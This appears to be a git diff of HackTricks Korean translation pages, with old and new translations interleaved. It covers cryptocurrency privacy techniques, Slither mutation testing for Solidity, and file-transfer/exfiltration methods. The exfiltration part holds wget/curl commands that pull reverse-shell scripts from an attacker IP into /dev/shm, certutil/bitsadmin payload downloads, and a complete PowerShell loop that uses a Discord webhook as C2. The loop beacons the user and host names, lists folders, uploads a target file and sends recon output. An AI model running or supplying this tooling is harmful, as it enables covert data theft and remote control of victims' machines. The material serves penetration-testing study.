공격자들은 수신자가 이후 트랜잭션에서 이러한 금액을 다른 inputs와 합치길 바라며, 이전에 사용된 addresses로 소액을 보낼 수 있다. 이렇게 하면 주소들이 연결될 가능성이 생긴다.
|
||||
|
||||
### 올바른 지갑 동작
|
||||
### Correct Wallet Behavior
|
||||
|
||||
지갑은 이미 사용된 빈 주소로 수신된 코인을 사용하지 않아야 하며, 이로써 개인정보 leak을 방지해야 한다.
|
||||
Wallets는 이미 사용된, 비어 있는 addresses에서 받은 coins를 사용하지 않음으로써 이러한 privacy leak를 방지해야 한다.
|
||||
|
||||
## **기타 블록체인 분석 기법**
|
||||
## **Other Blockchain Analysis Techniques**
|
||||
|
||||
- **정확한 결제 금액:** 잔돈이 없는 거래는 동일 사용자가 소유한 두 주소 간의 거래일 가능성이 높다.
|
||||
- **반올림된 숫자:** 거래의 반올림된 금액은 결제임을 시사하며, 반올림되지 않은 출력이 잔돈일 가능성이 높다.
|
||||
- **지갑 지문화:** 지갑마다 고유한 거래 생성 패턴이 있어 분석가가 사용된 소프트웨어를 식별하고 잠재적으로 잔돈 주소를 알아낼 수 있다.
|
||||
- **금액 및 시간 상관관계:** 거래 시간이나 금액을 공개하면 거래를 추적 가능하게 만들 수 있다.
|
||||
- **Exact Payment Amounts:** change가 없는 Transactions는 동일 사용자가 소유한 두 addresses 간의 거래일 가능성이 높다.
|
||||
- **Round Numbers:** 트랜잭션의 반올림된 금액은 지불임을 시사하며, 반올림되지 않은 output이 change일 가능성이 높다.
|
||||
- **Wallet Fingerprinting:** 서로 다른 wallets는 고유한 transaction 생성 패턴을 가지며, 이는 분석가가 사용된 소프트웨어를 식별하고 잠재적으로 change address를 찾아낼 수 있게 한다.
|
||||
- **Amount & Timing Correlations:** 거래 시간이나 금액을 공개하면 Transactions를 추적 가능하게 만들 수 있다.
|
||||
|
||||
## **트래픽 분석**
|
||||
## **Traffic Analysis**
|
||||
|
||||
네트워크 트래픽을 모니터링함으로써 공격자는 거래나 블록을 IP 주소와 연결할 수 있어 사용자 개인정보를 침해할 수 있다. 특히 어떤 단체가 다수의 Bitcoin 노드를 운영하면 거래를 모니터링할 수 있는 능력이 향상된다.
|
||||
네트워크 트래픽을 모니터링함으로써 공격자들은 Transactions나 blocks를 IP addresses와 연결할 수 있어 사용자 프라이버시를 침해할 수 있다. 특히 한 기관이 많은 Bitcoin nodes를 운영하면 Transactions를 모니터링할 수 있는 능력이 향상되어 이 문제가 심각해진다.
|
||||
|
||||
## 추가 자료
|
||||
## More
|
||||
|
||||
개인정보 공격 및 방어에 대한 포괄적 목록은 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)을 참조하라.
|
||||
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
# 익명 비트코인 거래
|
||||
# 익명 Bitcoin Transactions
|
||||
|
||||
## 비트코인을 익명으로 얻는 방법
|
||||
## Bitcoin을 익명으로 얻는 방법
|
||||
|
||||
- **현금 거래**: 현금으로 비트코인을 획득한다.
|
||||
- **현금 대안**: 기프트 카드를 구매해 온라인에서 비트코인으로 교환한다.
|
||||
- **채굴**: 비트코인을 얻는 가장 프라이빗한 방법은 채굴이며, 특히 단독 채굴일 때 그렇다. 채굴 풀은 채굴자의 IP 주소를 알 수 있다. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **도둑질**: 이론적으로는 비트코인을 훔치는 것이 익명으로 획득하는 방법이 될 수 있지만 불법이며 권장되지 않는다.
|
||||
- **Cash Transactions**: 현금으로 bitcoin을 취득.
|
||||
- **Cash Alternatives**: 기프트 카드를 구입하여 온라인에서 bitcoin으로 교환.
|
||||
- **Mining**: 혼자 채굴할 때가 가장 프라이빗하게 bitcoin을 얻는 방법이다. 채굴 풀은 채굴자의 IP address를 알 수 있기 때문에 풀 채굴은 프라이버시가 낮을 수 있다. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft**: 이론적으로는 bitcoin을 훔치는 것이 익명으로 획득하는 또 다른 방법이 될 수 있지만, 불법이며 권장되지 않는다.
|
||||
|
||||
## 믹싱 서비스
|
||||
## Mixing Services
|
||||
|
||||
믹싱 서비스를 사용하면 사용자는 **비트코인을 보낼 수** 있고 **다른 비트코인을 되돌려받을 수** 있어 원소유자를 추적하기 어렵게 만든다. 그러나 서비스가 로그를 보관하지 않고 실제로 비트코인을 반환할 것이라는 신뢰가 필요하다. 대안 믹싱 옵션으로는 Bitcoin 카지노가 있다.
|
||||
mixing service를 사용하면 사용자는 **bitcoins를 보낸 뒤** **다른 bitcoins를 받음으로써** 원래 소유자를 추적하기 어렵게 만들 수 있다. 그러나 이는 서비스가 로그를 보관하지 않고 실제로 bitcoins를 반환할 것이라는 신뢰를 필요로 한다. 대안으로 Bitcoin 카지노 같은 mixing 옵션이 있다.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
CoinJoin은 서로 다른 사용자의 여러 거래를 하나로 합쳐 입력과 출력을 매칭하려는 시도를 어렵게 만든다. 그럼에도 불구하고 입력과 출력 크기가 고유한 거래는 여전히 추적될 수 있다.
|
||||
CoinJoin는 서로 다른 사용자들의 여러 트랜잭션을 하나로 합쳐 inputs와 outputs를 매칭하려는 사람들을 혼란스럽게 만든다. 그럼에도 불구하고 고유한 input 및 output 크기를 가진 트랜잭션은 여전히 추적될 수 있다.
|
||||
|
||||
CoinJoin을 사용했을 수 있는 예시 거래에는 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`와 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`가 있다.
|
||||
예시로 CoinJoin을 사용했을 가능성이 있는 트랜잭션에는 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` 및 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`가 있다.
|
||||
|
||||
자세한 내용은 [CoinJoin](https://coinjoin.io/en)을 참조하라. Ethereum에서 유사한 서비스로는 채굴자의 자금으로 거래를 익명화하는 [Tornado Cash](https://tornado.cash)가 있다.
|
||||
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
|
||||
|
||||
## PayJoin
|
||||
|
||||
CoinJoin의 변형인 **PayJoin**(또는 P2EP)은 고객과 상인 등 두 당사자 간의 거래를 일반 거래로 위장하여 CoinJoin 특유의 동일한 출력을 드러나지 않게 만든다. 이는 탐지를 매우 어렵게 하며, 트랜잭션 감시 기관이 사용하는 common-input-ownership 휴리스틱을 무효화할 수 있다.
|
||||
CoinJoin의 변형인 **PayJoin**(또는 P2EP)은 두 당사자(예: 고객과 상인) 사이의 트랜잭션을 CoinJoin 특유의 동일한 outputs 없이 일반적인 트랜잭션으로 위장한다. 이는 탐지를 매우 어렵게 만들며 transaction surveillance에서 사용하는 common-input-ownership heuristic을 무효화할 수도 있다.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
|
||||
위와 같은 거래는 PayJoin일 수 있으며, 표준 bitcoin 거래와 구별되지 않으면서 프라이버시를 향상시킨다.
|
||||
|
||||
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
|
||||
**PayJoin의 활용은 기존의 감시 기법을 상당히 혼란시킬 수 있다**, 이는 거래 프라이버시를 추구하는 데 있어 유망한 발전이다.
|
||||
|
||||
# Best Practices for Privacy in Cryptocurrencies
|
||||
# 암호화폐 프라이버시 모범 사례
|
||||
|
||||
## **Wallet Synchronization Techniques**
|
||||
|
||||
프라이버시와 보안을 유지하려면 지갑을 블록체인과 동기화하는 것이 중요합니다. 두 가지 방법이 특히 유용합니다:
|
||||
프라이버시와 보안을 유지하려면 블록체인과 지갑을 동기화하는 것이 중요하다. 다음 두 가지 방법이 특히 유용하다:
|
||||
|
||||
- **Full node**: 전체 블록체인을 다운로드함으로써 Full node는 최대한의 프라이버시를 보장합니다. 지금까지 발생한 모든 거래가 로컬에 저장되어 있어 공격자가 사용자가 어떤 거래나 주소에 관심이 있는지 식별하기 어렵습니다.
|
||||
- **Client-side block filtering**: 이 방법은 블록체인의 각 블록에 대한 필터를 생성하여 지갑이 네트워크 관찰자에게 특정 관심사를 노출하지 않고 관련 거래를 식별할 수 있게 합니다. 라이트급 지갑은 이러한 필터만 다운로드하며, 사용자의 주소와 일치할 때만 전체 블록을 가져옵니다.
|
||||
- **Full node**: 전체 블록체인을 다운로드함으로써 full node는 최대한의 프라이버시를 보장한다. 지금까지 발생한 모든 거래가 로컬에 저장되어, 공격자가 사용자가 관심 있는 거래나 주소를 식별할 수 없게 한다.
|
||||
- **Client-side block filtering**: 이 방법은 블록체인의 각 블록에 대한 필터를 생성해 지갑이 네트워크 관측자에게 특정 관심사항을 노출하지 않고 관련 거래를 식별할 수 있게 한다. 라이트급 지갑은 이 필터들만 다운로드하고, 사용자의 주소와 일치하는 경우에만 전체 블록을 가져온다.
|
||||
|
||||
## **Utilizing Tor for Anonymity**
|
||||
|
||||
Bitcoin이 P2P 네트워크에서 동작하기 때문에, Tor를 사용해 IP 주소를 은폐하는 것이 권장되며 네트워크와 상호작용할 때 프라이버시를 향상시킵니다.
|
||||
Bitcoin이 peer-to-peer 네트워크에서 작동하므로, 네트워크와 상호작용할 때 IP 주소를 감추기 위해 Tor 사용을 권장한다.
|
||||
|
||||
## **Preventing Address Reuse**
|
||||
|
||||
프라이버시를 보호하려면 거래마다 새 주소를 사용하는 것이 중요합니다. 주소를 재사용하면 동일한 실체에 거래들이 연결되어 프라이버시가 손상될 수 있습니다. 최신 지갑은 설계상 주소 재사용을 권장하지 않습니다.
|
||||
프라이버시를 보호하려면 거래마다 새로운 주소를 사용하는 것이 중요하다. 주소를 재사용하면 거래들이 동일한 주체와 연결되어 프라이버시가 침해될 수 있다. 최신 지갑은 설계상 주소 재사용을 권장하지 않는다.
|
||||
|
||||
## **Strategies for Transaction Privacy**
|
||||
|
||||
- **Multiple transactions**: 결제를 여러 거래로 분할하면 거래 금액을 불분명하게 만들어 프라이버시 공격을 방해할 수 있습니다.
|
||||
- **Change avoidance**: change outputs가 필요 없는 거래를 선택하면 change 탐지 기법을 교란시켜 프라이버시를 향상시킵니다.
|
||||
- **Multiple change outputs**: change 회피가 불가능한 경우 여러 개의 change outputs를 생성하는 것만으로도 프라이버시를 개선할 수 있습니다.
|
||||
- **Multiple transactions**: 결제를 여러 거래로 나누면 거래 금액을 흐리게 하여 프라이버시 공격을 방해할 수 있다.
|
||||
- **Change avoidance**: 잔돈 출력(change outputs)이 필요 없는 거래를 선택하면 change detection 기법을 방해해 프라이버시를 높일 수 있다.
|
||||
- **Multiple change outputs**: 잔돈 회피가 불가능할 경우, 여러 개의 change outputs를 생성하는 것도 프라이버시를 개선할 수 있다.
|
||||
|
||||
# **Monero: A Beacon of Anonymity**
|
||||
# **Monero: 익명성의 상징**
|
||||
|
||||
Monero는 디지털 거래에서 절대적인 익명성 요구를 해결하며 높은 수준의 프라이버시 기준을 제시합니다.
|
||||
Monero는 디지털 거래에서 절대적 익명성의 요구를 충족시키며 프라이버시에 대해 높은 기준을 세운다.
|
||||
|
||||
# **Ethereum: Gas and Transactions**
|
||||
|
||||
## **Understanding Gas**
|
||||
|
||||
Gas는 Ethereum에서 연산을 실행하는 데 필요한 계산량을 측정하며, 가격 단위는 **gwei**입니다. 예를 들어 2,310,000 gwei(또는 0.00231 ETH) 비용이 드는 거래는 gas limit과 base fee를 포함하며, 채굴자 인센티브로 tip이 추가됩니다. 사용자는 초과 지불을 피하기 위해 max fee를 설정할 수 있으며, 남는 금액은 환불됩니다.
|
||||
Gas는 Ethereum에서 연산을 실행하는 데 필요한 계산 작업량을 측정하며, 가격 단위는 **gwei**다. 예를 들어 2,310,000 gwei(또는 0.00231 ETH) 비용이 드는 거래는 gas limit과 base fee가 포함되며, 마이너(또는 검증자)를 유인하기 위한 tip이 추가된다. 사용자는 초과 지불을 방지하기 위해 max fee를 설정할 수 있으며, 초과분은 환불된다.
|
||||
|
||||
## **Executing Transactions**
|
||||
|
||||
Ethereum의 거래는 송신자와 수신자를 포함하며, 수신자는 사용자 주소이거나 스마트 컨트랙트 주소일 수 있습니다. 거래는 수수료가 필요하고 채굴되어야 합니다. 거래에 포함되는 필수 정보로는 수신자, 송신자의 서명, 값(value), 선택적 데이터, gas limit, 그리고 수수료가 있습니다. 특히 송신자의 주소는 서명으로부터 유추되므로 거래 데이터에 별도로 포함될 필요가 없습니다.
|
||||
Ethereum의 거래는 sender와 recipient가 참여하며, 이들은 사용자 주소이거나 smart contract 주소일 수 있다. 거래는 수수료가 필요하고 채굴(또는 검증)되어야 한다. 거래에 포함되는 주요 정보는 recipient, sender의 서명, value, 선택적 data, gas limit 및 수수료 등이다. 특이하게도 sender의 주소는 서명으로부터 유도되므로 거래 데이터에 명시적으로 포함될 필요가 없다.
|
||||
|
||||
이러한 관행과 메커니즘은 프라이버시와 보안을 우선시하면서 암호화폐를 다루려는 누구에게나 기초가 됩니다.
|
||||
이러한 관행과 메커니즘은 프라이버시와 보안을 우선시하면서 암호화폐를 다루고자 하는 사람들에게 기본이 된다.
|
||||
|
||||
## Smart Contract Security
|
||||
|
||||
- Mutation testing을 통해 테스트 스위트의 사각지대를 찾기:
|
||||
|
||||
{{#ref}}
|
||||
../smart-contract-security/mutation-testing-with-slither.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
@ -183,7 +191,7 @@ Ethereum의 거래는 송신자와 수신자를 포함하며, 수신자는 사
|
||||
|
||||
## DeFi/AMM Exploitation
|
||||
|
||||
If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), check:
|
||||
DEXes와 AMMs(Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps)의 실제 익스플로잇을 연구하고 있다면, 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
defi-amm-hook-precision.md
|
||||
|
@ -0,0 +1,116 @@
|
||||
# Mutation Testing for Solidity with Slither (slither-mutate)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Mutation testing은 Solidity 코드에 작은 변경사항(mutants)을 체계적으로 주입하고 테스트 스위트를 다시 실행함으로써 "테스트를 테스트"합니다. 테스트가 실패하면 mutant는 죽고(killed), 테스트가 여전히 통과하면 mutant는 살아남아 라인/브랜치 커버리지가 감지하지 못하는 테스트 스위트의 맹점을 드러냅니다.
|
||||
|
||||
핵심 아이디어: 커버리지는 코드가 실행되었다는 사실만 보여주고, mutation testing은 동작이 실제로 단언(asserted)되는지를 보여줍니다.
|
||||
|
||||
## 커버리지가 오도할 수 있는 이유
|
||||
|
||||
Consider this simple threshold check:
|
||||
```solidity
|
||||
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
|
||||
if (deposit >= 1 ether) {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
```
|
||||
단위 테스트가 임계값 아래의 값과 위의 값만 검사하는 경우, 라인/브랜치 커버리지가 100%에 도달할 수 있지만 동등성 경계(==)를 확인하지 못할 수 있습니다. `deposit >= 2 ether`로 리팩터링해도 이러한 테스트는 여전히 통과하여 프로토콜 로직을 조용히 깨뜨릴 수 있습니다.
|
||||
|
||||
Mutation testing은 조건을 변형시키고 테스트가 실패하는지 확인함으로써 이 간극을 드러냅니다.
|
||||
|
||||
## Common Solidity mutation operators
|
||||
|
||||
Slither’s mutation engine은 다음과 같은 여러 작은 의미 변경 수정을 적용합니다:
|
||||
- 연산자 교체: `+` ↔ `-`, `*` ↔ `/`, 등
|
||||
- 할당 연산자 교체: `+=` → `=`, `-=` → `=`
|
||||
- 상수 교체: 0이 아닌 값 → `0`, `true` ↔ `false`
|
||||
- `if`/루프 내부 조건의 부정/교체
|
||||
- 전체 라인 주석 처리 (CR: Comment Replacement)
|
||||
- 한 줄을 `revert()`로 교체
|
||||
- 데이터 타입 교체: 예: `int128` → `int64`
|
||||
|
||||
목표: 생성된 뮤턴트의 100%를 kill 하거나, 살아남은 뮤턴트에 대해 명확한 근거로 정당화하세요.
|
||||
|
||||
## Running mutation testing with slither-mutate
|
||||
|
||||
요구사항: Slither v0.10.2+.
|
||||
|
||||
- 옵션과 mutators 목록:
|
||||
```bash
|
||||
slither-mutate --help
|
||||
slither-mutate --list-mutators
|
||||
```
|
||||
- Foundry 예제 (결과를 캡처하고 전체 로그를 보관):
|
||||
```bash
|
||||
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||
```
|
||||
- Foundry를 사용하지 않는다면, `--test-cmd`를 테스트 실행 방법(예: `npx hardhat test`, `npm test`)으로 대체하세요.
|
||||
|
||||
아티팩트와 보고서는 기본적으로 `./mutation_campaign`에 저장됩니다. 포착되지 않은(생존한) mutants는 검사 목적으로 그곳에 복사됩니다.
|
||||
|
||||
### 출력 이해하기
|
||||
|
||||
보고서 행은 다음과 같습니다:
|
||||
```text
|
||||
INFO:Slither-Mutate:Mutating contract ContractName
|
||||
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||
```
|
||||
- 대괄호 안의 태그는 뮤테이터 별칭입니다(예: `CR` = Comment Replacement).
|
||||
- `UNCAUGHT`는 변형된 동작에서 테스트가 통과했음을 의미합니다 → 누락된 assertion.
|
||||
|
||||
## Reducing runtime: prioritize impactful mutants
|
||||
|
||||
Mutation 캠페인은 수시간에서 수일까지 걸릴 수 있습니다. 비용을 줄이기 위한 팁:
|
||||
- Scope: 우선 중요한 contracts/디렉터리만 대상으로 시작한 후 확장하세요.
|
||||
- Prioritize mutators: 한 줄에서 우선순위가 높은 뮤턴트가 생존하면(예: 전체 줄이 주석 처리된 경우) 그 줄에 대해 우선순위가 낮은 변형은 건너뛸 수 있습니다.
|
||||
- 테스트를 러너가 허용하면 병렬화하고; 의존성/빌드를 캐시하세요.
|
||||
- Fail-fast: 변경이 명백히 assertion의 공백을 드러낼 때 조기에 중단하세요.
|
||||
|
||||
## Triage workflow for surviving mutants
|
||||
|
||||
1) 변형된 줄과 동작을 검사하세요.
|
||||
- 해당 변형된 줄을 적용하고 집중 테스트를 실행해 로컬에서 재현하세요.
|
||||
|
||||
2) 반환값뿐 아니라 상태를 검증하도록 테스트를 강화하세요.
|
||||
- 동등성/경계 검사를 추가하세요(예: 임계값 테스트 `==`).
|
||||
- 사후 조건을 검증하세요: 잔액, 총 공급량, 권한 영향 및 발생한 이벤트 등.
|
||||
|
||||
3) 지나치게 관대한 mocks를 현실적인 동작으로 교체하세요.
|
||||
- 모의 객체가 온체인에서 발생하는 전송, 실패 경로 및 이벤트 발생을 강제하도록 하세요.
|
||||
|
||||
4) 퍼즈(fuzz) 테스트를 위한 불변식(invariants)을 추가하세요.
|
||||
- 예: 가치 보존, 음수 불가 잔액, 권한 불변식, 적용 가능한 경우 단조 증가하는 공급량 등.
|
||||
|
||||
5) slither-mutate를 재실행하여 생존자들이 제거되거나 명확히 정당화될 때까지 반복하세요.
|
||||
|
||||
## Case study: revealing missing state assertions (Arkis protocol)
|
||||
|
||||
Arkis DeFi protocol에 대한 감사 중 진행된 mutation 캠페인은 다음과 같은 생존자를 드러냈습니다:
|
||||
```text
|
||||
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||
```
|
||||
주석 처리로 할당문이 제거되어도 테스트가 통과했는데, 이는 사후 상태 검증(post-state assertions)이 누락되었음을 증명한다. 근본 원인: 실제 토큰 전송을 검증하지 않고 사용자 제어 `_cmd.value`를 신뢰했다. 공격자는 기대되는 전송과 실제 전송을 비동기화하여 자금을 유출할 수 있다. 결과: 프로토콜의 지급능력(solency)에 대한 높은 심각도 위험.
|
||||
|
||||
지침: 가치 전송(value transfers), 회계(accounting), 또는 접근 제어에 영향을 미치는 살아남은 변이(survivors)는 제거(killed)될 때까지 고위험으로 취급하라.
|
||||
|
||||
## 실무 체크리스트
|
||||
|
||||
- 대상 캠페인 실행:
|
||||
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||
- 생존한 변이를 분류(triage)하고, 변형된 동작에서 실패할 테스트/불변식(invariants)을 작성하라.
|
||||
- 잔액, 공급량, 권한, 이벤트를 검증하라.
|
||||
- 경계 테스트 추가 (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||
- 비현실적인 mocks를 대체하고, 실패 모드를 시뮬레이션하라.
|
||||
- 모든 mutants가 제거(killed)되거나 주석과 근거로 정당화될 때까지 반복하라.
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
|
||||
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
|
||||
- [Slither (GitHub)](https://github.com/crytic/slither)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 정보 유출을 위해 일반적으로 허용된 도메인
|
||||
## Commonly whitelisted domains to exfiltrate information
|
||||
|
||||
[https://lots-project.com/](https://lots-project.com/)를 확인하여 악용될 수 있는 일반적으로 허용된 도메인을 찾으세요.
|
||||
공격에 악용될 수 있는 일반적으로 화이트리스트에 등록된 도메인을 찾으려면 [https://lots-project.com/](https://lots-project.com/)을 확인하세요
|
||||
|
||||
## Copy\&Paste Base64
|
||||
|
||||
@ -13,21 +13,21 @@
|
||||
base64 -w0 <file> #Encode file
|
||||
base64 -d file #Decode file
|
||||
```
|
||||
**윈도우**
|
||||
**Windows**
|
||||
```
|
||||
certutil -encode payload.dll payload.b64
|
||||
certutil -decode payload.b64 payload.dll
|
||||
```
|
||||
## HTTP
|
||||
|
||||
**리눅스**
|
||||
**Linux**
|
||||
```bash
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||
fetch 10.10.14.14:8000/shell.py #FreeBSD
|
||||
```
|
||||
**윈도우**
|
||||
**Windows**
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
|
||||
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
|
||||
@ -45,7 +45,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||
### 파일 업로드
|
||||
|
||||
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
- [**GET 및 POST(헤더 포함) 출력하는 SimpleHttpServer**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
- Python 모듈 [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
```bash
|
||||
# Listen to files
|
||||
@ -100,14 +100,99 @@ if __name__ == "__main__":
|
||||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||
###
|
||||
```
|
||||
## Webhooks (Discord/Slack/Teams) for C2 & Data Exfiltration
|
||||
|
||||
Webhooks는 JSON과 선택적 파일 파트를 허용하는 쓰기 전용 HTTPS 엔드포인트입니다. 신뢰된 SaaS 도메인에 일반적으로 허용되며 OAuth/API 키가 필요 없기 때문에 저마찰 beaconing 및 exfiltration에 유용합니다.
|
||||
|
||||
Key ideas:
|
||||
- Endpoint: Discord uses https://discord.com/api/webhooks/<id>/<token>
|
||||
- POST multipart/form-data로, payload_json이라는 파트에 {"content":"..."}를 넣고 선택적 file 파트(이름: file)를 추가합니다.
|
||||
- Operator loop pattern: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK이 전송을 확인합니다.
|
||||
|
||||
PowerShell PoC (Discord):
|
||||
```powershell
|
||||
# 1) Configure webhook and optional target file
|
||||
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
|
||||
$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
|
||||
|
||||
# 2) Reuse a single HttpClient
|
||||
$client = [System.Net.Http.HttpClient]::new()
|
||||
|
||||
function Send-DiscordText {
|
||||
param([string]$Text)
|
||||
$payload = @{ content = $Text } | ConvertTo-Json -Compress
|
||||
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
|
||||
$mp = New-Object System.Net.Http.MultipartFormDataContent
|
||||
$mp.Add($jsonContent, "payload_json")
|
||||
$resp = $client.PostAsync($webhook, $mp).Result
|
||||
Write-Host "[Discord] text -> $($resp.StatusCode)"
|
||||
}
|
||||
|
||||
function Send-DiscordFile {
|
||||
param([string]$Path, [string]$Name)
|
||||
if (-not (Test-Path $Path)) { return }
|
||||
$bytes = [System.IO.File]::ReadAllBytes($Path)
|
||||
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
|
||||
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
|
||||
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
|
||||
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
|
||||
$mp = New-Object System.Net.Http.MultipartFormDataContent
|
||||
$mp.Add($jsonContent, "payload_json")
|
||||
$mp.Add($fileContent, "file", $Name)
|
||||
$resp = $client.PostAsync($webhook, $mp).Result
|
||||
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
|
||||
}
|
||||
|
||||
# 3) Beacon/recon/exfil loop
|
||||
$ctr = 0
|
||||
while ($true) {
|
||||
$ctr++
|
||||
# Beacon
|
||||
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
|
||||
Send-DiscordText -Text $beacon
|
||||
|
||||
# Every 2nd: quick folder listing
|
||||
if ($ctr % 2 -eq 0) {
|
||||
$dirs = @("Documents","Desktop","Downloads","Pictures")
|
||||
$acc = foreach ($d in $dirs) {
|
||||
$p = Join-Path $env:USERPROFILE $d
|
||||
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
|
||||
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
|
||||
}
|
||||
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
|
||||
}
|
||||
|
||||
# Every 3rd: targeted exfil
|
||||
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
|
||||
|
||||
# Every 4th: basic recon
|
||||
if ($ctr % 4 -eq 0) {
|
||||
$who = whoami
|
||||
$ip = ipconfig | Out-String
|
||||
$tmp = Join-Path $env:TEMP "recon.txt"
|
||||
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
|
||||
Send-DiscordFile -Path $tmp -Name "recon.txt"
|
||||
}
|
||||
|
||||
Start-Sleep -Seconds 20
|
||||
}
|
||||
```
|
||||
참고:
|
||||
- 유사한 패턴은 incoming webhooks를 사용하는 다른 협업 플랫폼(Slack/Teams)에도 적용됩니다. URL과 JSON 스키마를 적절히 조정하세요.
|
||||
- Discord Desktop 캐시 아티팩트의 DFIR 및 webhook/API 복구에 대해서는 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
|
||||
{{#endref}}
|
||||
|
||||
## FTP
|
||||
|
||||
### FTP 서버 (파이썬)
|
||||
### FTP server (python)
|
||||
```bash
|
||||
pip3 install pyftpdlib
|
||||
python3 -m pyftpdlib -p 21
|
||||
```
|
||||
### FTP 서버 (NodeJS)
|
||||
### FTP server (NodeJS)
|
||||
```
|
||||
sudo npm install -g ftp-srv --save
|
||||
ftp-srv ftp://0.0.0.0:9876 --root /tmp
|
||||
@ -143,14 +228,14 @@ ftp -n -v -s:ftp.txt
|
||||
```
|
||||
## SMB
|
||||
|
||||
Kali를 서버로 사용
|
||||
Kali를 서버로
|
||||
```bash
|
||||
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
|
||||
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
||||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
samba를 사용하여 **smb 공유**를 생성합니다:
|
||||
또는 smb 공유를 **samba를 사용하여**:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
@ -165,7 +250,7 @@ guest ok = Yes
|
||||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
윈도우
|
||||
Windows
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
